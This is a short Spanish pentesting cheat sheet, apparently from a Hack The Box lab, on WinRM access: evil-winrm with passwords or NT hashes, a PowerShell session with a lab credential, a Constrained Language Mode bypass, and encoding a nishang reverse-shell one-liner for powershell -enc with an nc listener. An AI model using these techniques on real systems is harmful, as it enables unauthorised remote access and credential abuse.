winrm
Definición
Servicio por el cual los usuarios de windows pueden obtener una consola remote proporcionando credenciales. Estos usuarios tinen que pertenecer al groupo “Remote Management Users”.
Por defecto opera en los puertos -> 5985, 5986
Evil-winrm
Si tenemos credenciales válidas, que hemos comprobado con Crackmapexec y obtenemos “pwned” en winrm.
evil-winrm -i <ip> -u <user> -p <pass>
Pass-The-Hash
En caso de que tengamos un hash NT podemos aprovechar esta técnica con evil-winrm.
evil-winrm -i <ip> -u <user> -H <hash>
Esta herramienta nos ofrece distinas funciones incorporadas, mediante el comando menu
nos lista todas, entre las que destacan upload
y download download
que para su correcto funcionamiento tienen que utilizarse rutas absolutas.
Cabe destacar que en ocasiones estas funciones propias de evil-winrm fallan.
Powershell
pwsh
$pass = ConvertTo-SecureString 'kittycat1' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('htb.local\k.svensson', $pass)
Enter-PSSession -ComputerName 10.10.10.210 -Credential $cred -Authentication Negotiate
Constrained Language Mode
Nos conecta, pero nos muestra errores, aunque son errores de que no encuentra el comando, Get-Command
nos muestra qué comandos podemos usar. Esta limitación puede ser porque nos encontramos en un Constrained Language Mode. Buscamos como comprobar si estamos limitado en google,
$ExecutionContext.SessionState.LanguageMode
Ejecutamos el comando para comprobarlo y vemos que estamos limitados. Toca bypassearlo.
Para bypassear el CLM, creamos una función y la ejecutamos.
function location{ Get-Location }; location
Y bypasseado. Aunque para escapar del contexto y operar cómodamente, nos ponemos en escucha con nc y rlwrap. Para este caso, utilizamos el repositorio de nishang. Y utilizamos el Invoke-PowerShellTcpOnelLine.ps1, nos copiamos la 3ª linea comentada, cambiamos la ip y jugamos con base64 para enviarlo. Pero al ser windows tenemos que aplicar un tratamiento no visible a simple vista.
cat data | iconv -t utf-16le | base64 -w 0;echo
Bajo un script block en la consola powershell con CLM:
&{ powershell -enc <data>}
Escrito el 07-12-2021 a las 06:05 pm por creep33.